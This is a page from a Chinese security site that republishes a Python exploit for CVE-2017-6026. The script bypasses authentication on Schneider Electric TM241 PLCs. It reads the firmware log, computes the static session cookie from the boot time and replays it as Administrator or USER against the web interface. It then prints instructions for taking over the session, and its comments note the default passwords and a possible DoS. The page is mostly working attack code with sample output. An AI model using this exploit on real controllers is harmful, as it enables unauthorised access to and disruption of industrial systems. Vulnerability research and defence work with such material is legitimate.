首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Schneider Electric PLC - Session Calculation Authentication Bypass
来源:Photubias 作者:Photubias 发布时间:2018-12-03  
#! /usr/bin/env python
'''
    Copyright 2018 Photubias(c)
    # Exploit Title: Schneider Session Calculation - CVE-2017-6026
    # Date: 2018-09-30
    # Exploit Author: Deneut Tijl
    # Vendor Homepage: www.schneider-electric.com
    # Software Link: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/
    # Version: Schneider Electric PLC 4.0.2.11 & Boot v0.0.2.11
    # CVE : CVE-2017-6026
 
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.
 
        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.
 
        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
        File name CVE-2017-6026-SchneiderSessionCalculation.py
        written by tijl[dot]deneut[at]howest[dot]be
 
        Tested on the Schneider TM241 PLC with Firmware 4.0.2.11 & Boot 0.0.2.11.
        Firmware: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/
        Security Note: https://www.schneider-electric.com/en/download/document/SEVD-2017-075-02/
 
        This script will calculate the website session cookie, which is static after every reboot.
        (This cookie is actually the Epoch time at PLC startup)
        The only prerequisite is that, since the reboot, a user must have been logged in.
                E.g. Administrator (with default password 'admin')
                or   USER (with default password 'USER')
 
        After retrieving the cookie, various website actions are possible (including a DoS).
        Sample output:
        C:\Users\admin\Desktop>SchneiderGetSession.py
        Please enter an IP [10.10.36.224]:
        This device has booted 33 times
        Cookie: 1521612584 (22/03/2018 06:09:44.014)
        ----------------
        --- Device:      TM241CE40R
        --- MAC Address: 0080F40B24E0
        --- Firmware:    4.0.2.11
        --- Controller:  Running
        ----------------
        Press Enter to close
'''
import urllib2
 
strIP = raw_input('Please enter an IP [10.10.36.224]: ')
if strIP == '': strIP = '10.10.36.224'
FwLogURL = 'http://' + strIP + '/usr/Syslog/FwLog.txt'
try:
    FwLogResp = urllib2.urlopen(urllib2.Request(FwLogURL)).readlines()
    NumberOfPowerOns = 0
    for line in FwLogResp:
        if 'Firmware core2' in line:
            NumberOfPowerOns += 1
            CookieVal = line.split(' ')[1]
            BootupTime = line.split('(')[1].split(')')[0]
    NumberOfPowerOns /= 2
except:
    print('Error: URL not found.')
    raw_input('Press enter to exit')
    exit()
 
try:
    CookieVal
except:
    print('Error: ' + FwLogURL + ' does not contain the necessary data.')
    raw_input('Press Enter to Exit')
    exit()
 
print('This device has booted ' + str(NumberOfPowerOns) + ' times')
print('Cookie: ' + CookieVal + ' (' + BootupTime + ')')
print('----------------')
raw_input('Press enter to see if the cookie is set on the webserver.'+"\n")
 
CtrlURL = 'http://' + strIP + '/plcExchange/getValues/'
CtrlPost = 'S;100;0;136;s;s;S;2;0;24;w;d;S;1;0;8;B;d;S;1;0;9;B;d;S;1;0;10;B;d;S;1;0;11;B;d;'
 
try:
    CtrlUser = 'Administrator'
    DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal})
    DataResp = urllib2.urlopen(DataReq).read()
except:
    print('Failure for user \'Administrator\'')
    try:
        CtrlUser = 'USER'
        DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal})
        DataResp = urllib2.urlopen(DataReq).read()
    except:
        print('Failure for user \'USER\'')
        raw_input('Press enter to exit')
print('### SUCCESS (' + CtrlUser + ') ###')
print('--- Device:      ' + DataResp.split(' ')[0])
print('--- MAC Address: ' + DataResp.split(';')[0].split(' ')[1][1:])
print('--- Firmware:    ' + DataResp.split(';')[2] + '.' + DataResp.split(';')[3] + '.' +DataResp.split(';')[4] + '.' +DataResp.split(';')[5])
state = DataResp.split(';')[1]
if state == '2':
    print('--- Controller:  Running')
elif state == '1':
    print('--- Controller:  Stopped')
elif state == '0':
    print('--- Controller:  ERROR mode')
print('')
print('--- To exploit: Create cookie for domain "'+strIP+'"')
print('    with name "M258_LOG" and value "'+CtrlUser+':'+CookieVal+'"')
print('    and open "http://'+strIP+'/index2.htm"')
print('')
print('----------------')
 
raw_input('Press enter to close')
exit()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·knc (Kerberized NetCat) Denial
·Linux Kernel 4.8 (Ubuntu 16.04
·WebKit JSC - BytecodeGenerator
·HTML5 Video Player 1.2.5 - Buf
·WebKit JIT - 'ByteCodeParser::
·xorg-x11-server < 1.20.3 - 'mo
·WebKit JSC JIT - 'JSPropertyNa
·VBScript - 'OLEAUT32!VariantCl
·Unitrends Enterprise Backup bp
·VBScript - 'rtFilter' Out-of-B
·PHP imap_open Remote Code Exec
·Apache Spark - Unauthenticated
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved